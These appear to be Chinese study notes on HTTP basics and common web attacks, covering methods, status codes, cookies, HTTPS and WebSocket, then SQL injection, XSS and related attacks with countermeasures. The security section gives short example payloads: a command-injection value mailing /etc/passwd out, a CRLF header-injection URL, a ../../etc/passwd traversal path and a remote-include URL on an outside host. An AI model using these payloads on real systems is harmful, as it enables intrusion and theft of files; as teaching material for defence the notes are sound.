协议
HTTP是无状态的协议。
方法
GET
:获取资源POST
:传输实体主体PUT
:传输主体DELETE
:删除文件HEAD
:获得报文首部(用于确认URI的有效性及资源更新的日期时间等)OPTIONS
:询问支持的方法TRACE
:查询发送出去的请求是怎样被加工修改的。易引发XST(Cross-Site Tracing,跨站追踪)攻击。CONNECT
:要求用隧道协议连接代理,使用SSL(Secure Sockets Layer,安全套接层)和TLS(Transport Layer Security,传输层安全)协议把通信内容加密后经网络隧道传输。
管线化
持久连接使得多数请求以管线化方式发送称为可能。可以同时发送多个请求。
使用Cookie的状态管理
HTTP是无状态协议。为了解决需要保存状态的需求,引入Cookie技术,通过在请求和响应报文中写入Set-Cookie
字段来控制客户端的状态。
服务器端发现客户端发送过来的Cookie后,会检查从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息。
状态码
-
类别 原因短语 -
1xx Informational(信息性状态码) 接收的请求正在处理 2xx Success(成功状态码) 请求正常处理完毕 3xx Redirection(重定向状态码) 需要进行附加操作以完成请求 4xx Client Error(客户端错误状态码) 服务器无法处理请求 5xx Server Error(服务器错误状态码) 服务器处理请求出错
2xx
200
:OK204
:No Content。请求 -> 请求处理成功,但没有资源可返回。206
:Partial Content。只想要其中一部分 -> 返回资源的某一部分
3xx
301
:Moved Permanently。请求(客户端更新书签) -> 资源的uri永久重定向302
:Moved Temporarily。请求 -> 资源的uri临时重定向,(需用户确认)将post请求改为get请求303
:See Other。请求 -> 临时重定向,将post请求改为get请求304
:Not Modified。附带条件的请求 -> 资源已找到,但未符合请求307
:Temporary Redirect。(同302,但不会将post请求转为get请求)
4xx
400
:Bad Request。请求 -> 报文中存在语法错误,无法理解401
:Unauthorized。请求 -> 本页面需要认证/认证失败403
:Forbidden。请求 -> 不允许访问这个资源(没有权限等原因)404
:Not Found。请求 -> 服务器上没有请求的资源
5xx
500
:Internal Server Error。请求 -> 内部资源出了故障503
:Service Unavailable。请求 -> 服务器处于超负载或正在停机维护
HTTP首部
HTTP报文结构
请求:
GET/HTTP/1.1 请求行
————————————————————————————————————————————————————————
Host: qq.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rb:13.0)
Accept: text/html, application/xhtml+xml, application/xml
Accept-Language: en; q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache 各种首部字段
————————————————————————————————————————————————————————
空行(CR+LF)
响应:
HTTP/1.1 200 OK 请求行
————————————————————————————————————————————————————————
Date: Fri, 13 Jul 2012 01:02:03 GMT
Server: Apache
Last-Modified: Fri, 31 Aug 2007 02:02:20 GMT
ETag: "35bae1-16a-46d776ac"
Accept-Ranges: bytes
Content-Length: 362
Connection: close
Content-Type: text/html 各种首部字段
————————————————————————————————————————————————————————
空行(CR+LF)
————————————————————————————————————————————————————————
<html xmlns="http://www.w3.org/1999/xhtml">
<head></head>
<body>
<h1>hi</h1>
</body>
</html> 报文主体
发送多种数据的多部分对象集合
邮件中写入文字并添加多份邮件,是因为采用MIME(Multipurpose Internet Mail Extensions,多用途因特网邮件扩展)机制,允许邮件处理文本,图片,视频等多个不同类型的数据。
HTTP协议中也采用多部分对象集合,发送的一份报文主体内可含有多类型实体。通常在图片或文本文件等上传时使用。多部分对象集合包含的对象如:multipart/form-data
,multipart/byteranges
。
HTTPS
HTTPS使用SSL
(Secure Socket Layer)和TLS
(Transport Layer Security)这两个协议。
SSL
ssl握手过程
客户端 服务器
请求
——————————————————>
公钥证书
<——————————————————
K*(MS)=EMS
——————————————————>
MS:主密钥
EMS:使用公钥加密的主密钥
IPsec
- 主要用于网关到网关,或网关到主机的方案。(属于vpn隧道协议)
- vpn协议还有:PPTP,L2TP协议。主要用于远程客户机访问局域网方案。
- 也可以使用SSL,具有高层安全协议的优势。
身份认证
Session管理及Cookie应用
客户端 服务器
1.发送已登录信息(用户ID,密码)
——————————————————————————>
2.发送包含Session ID的Cookie
Set-Cookie: PHPSESSID=028a8c...
<——————————————————————————向用户发送Seesion ID,记录认证状态
3.发送包含Session ID的Cookie
Set-Cookie: PHPSESSID=028a8c...
——————————————————————————>通过验证Session ID来判断对方是真实用户
保护密码
先给密码加盐(salt),再散列(hash)函数计算,保存。
基于HTTP的功能追加协议
Ajax
Ajax(Asynchronous JavaScript and XML,异步JavaScript与XML技术),利用JavaScript和DOM(Document Object Model,文档对象模型)的操作,以达到局部Web页替换加载的异步通信手段。
Comet
用于推送服务器端消息。
为了实现推送功能,Comet会先将响应置于挂起状态,当服务器端有内容更新时,再返回该响应。
虽然可以做到实时更新,但为了保留响应,一次连接的持续时间也变长了。期间为了维持连接会消耗更多的资源。
WebSocket
WebSocket为了解决Ajax和Comet使用的http协议的瓶颈问题。
一旦Web服务器与客户端之间建立起WebSocket协议的通信连接,之后所有的通信都依靠这个专用协议进行。通信过程中可互相发送JSON,XML,HTML或图片等任意格式的数据。
由于是建立在HTTP基础上的协议,因此连接的发起仍是客户端,一旦确立WebSocket通信连接,无论服务器还是客户端,任意一方都可直接向对方发送报文。
具备:推送功能,减少通信量。
安全
输出值转义不完全
对策:
- 客户端验证
- 服务器端验证:输入值验证,输出值转义
SQL注入攻击
SQL注入(SQL Injection)是针对Web应用使用的数据库,通过运行非法的SQL而产生的攻击。
危害:
- 非法查看或篡改数据库内的数据。
- 规避认证。
- 执行和数据库服务器业务关联的程序等。
对策:
- 使用预编译。
- 使用存储过程。
XSS
XSS(Cross-Site Scripting,跨站脚本攻击)是指通过存在安全漏洞的Web网站注册用户的浏览器内,运行非法的HTML标签或JavaScript进行的一种攻击。
动态创建的HTML部分有可能隐藏着安全漏洞。
危害:
- 利用虚假输入表单骗取用户个人信息。
- 利用脚本窃取用户的Cookie值,被害人在不知情的情况下,帮助攻击者发送恶意请求。
- 显示伪造的文章或图片。
对策:
- 禁止跨站操作。
- 在Cookie添加
httponly
属性,不允许js操作。
OS命令注入攻击
OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。
只要在能调用Shell函数的地方就存在被攻击的风险。
例如:发邮件,程序后台通过调用sendmail命令发送邮件。
open(MAIL, “/usr/sbin/sendmail $adr”)
将$adr填写为
; cat /etc/passwd | mail test@example.com
这将窃取系统文件内容,发送到指定邮箱
HTTP首部注入攻击
HTTP首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的攻击。
危害:
- 设置任何Cookie信息。
- 重定向至任意URL。
- 显示任意的主体(HTTP响应截断攻击)。
例如:修改首部
从 Location:http://example.com/?cat=101
改为Location:http://example.com/?cat=101%0D%0ASet-Cookied:+SID=123456
其中%0D%0A
代表HTTP报文中的换行符,这可将会话ID设置成SID=123456的Set-Cookie首部字段
如使用2个换行%0D%0A%0D%0A
,可作HTTP首部与主体所需的空行,可在后面伪造主体。这称作HTTP响应截断攻击。
邮件首部攻击
通过在邮件地址处,添加%0D%0A
,在邮件报文中代表换行符。之后可追加发送人,也可追加消息。
目录遍历攻击
目录遍历攻击(Directory Traversal)是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。
例如:修改url
原本从/www/log/文件目录下读取指定的文件,被修改
从 http://example.com/read.php?log=test.log
改 http://example.com/read.php?log=../../etc/passwd
远程文件包含漏洞
远程文件包含漏洞是指当部分脚本内容需要从其它文件读入时,攻击者利用指定外部服务器的url充当依赖文件。
例如:修改url
从 http://example.com/foo.php?mod=news.php
改 http://example.com/foo.php?mod=http://hackr.com/cmd.php
点击劫持
点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在Web页面上,然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。又称界面伪装。
例如:
以SNS网站的注销功能为例,通过设置一个点击劫持,当用户点击到透明的按钮时,实际上点击了指定透明元素的iframe页面的SNS注销按钮。利用用户自己的登录信息,用户就注销了自己的会员身份。
DoS攻击
DoS攻击(Denial of Service)是让运行的服务停止的攻击。被称为拒绝服务攻击。
集中利用访问请求造成资源过载,资源用尽的同时,就呈停止状态。或通过攻击安全漏洞使服务中止。
多台计算机发起的Dos攻击称为DDoS攻击(Distributed Denial of Service)。
设计引发的安全漏洞
容易被推测的文件名及目录名
例如:
http://www.example.com/entry/entry_081201.log,
容易被推测出下一个文件为entry_081202.log
备份文件
例如:
http://www.example.com/cgi-bin/entry.cgi (原始文件)
http://www.example.com/cgi-bin/entry.cgi~ (备份文件)
http://www.example.com/cgi-bin/entry.bak (备份文件)
由于编辑软自动生成的备份文件无执行权限,有可能以源代码形式显示。
不正确的错误消息处理
Web应用的错误消息内包含对攻击者有用的信息。
Web应用不必在用户的浏览画面上展现详细的错误消息,这对攻击者来说,有可能是给他们下一次攻击的提示。
例如:
登录错误提示:”邮件地址未注册”,
攻击者可以判断邮件地址是否在这个Web网站上注册过。
建议提示消息的内容仅保留到”认证错误”的程度。
后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。